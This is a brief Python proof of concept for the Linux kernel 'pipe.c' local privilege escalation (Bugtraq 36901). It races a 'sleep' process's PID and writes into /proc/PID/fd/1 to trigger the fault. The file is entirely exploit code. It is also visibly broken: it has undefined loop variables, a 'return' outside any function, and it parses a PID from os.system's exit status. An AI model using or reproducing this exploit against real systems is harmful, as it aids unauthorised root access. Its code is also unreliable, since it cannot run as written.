# This is a PoC based off the PoC release by Earl Chew # Linux Kernel 'pipe.c' Local Privilege Escalation Vulnerability # PoC by Matthew Bergin # Bugtraq ID: 36901 import os import time import random #infinite loop while (i == 0): os.system("sleep 1") while (x == 0): time.sleep(random.random()) #random int 0.0-1.0 pid = str(os.system("ps -efl | grep 'sleep 1' | grep -v grep | { read PID REST ; echo $PID; }")) if (pid == 0): #need an active pid, race condition applies print "[+] Didnt grab PID, got: " + pid + " -- Retrying..." return else: print "[+] PID: " + pid loc = "echo n > /proc/" + pid + "/fd/1" os.system(loc) # triggers the fault, runs via sh 
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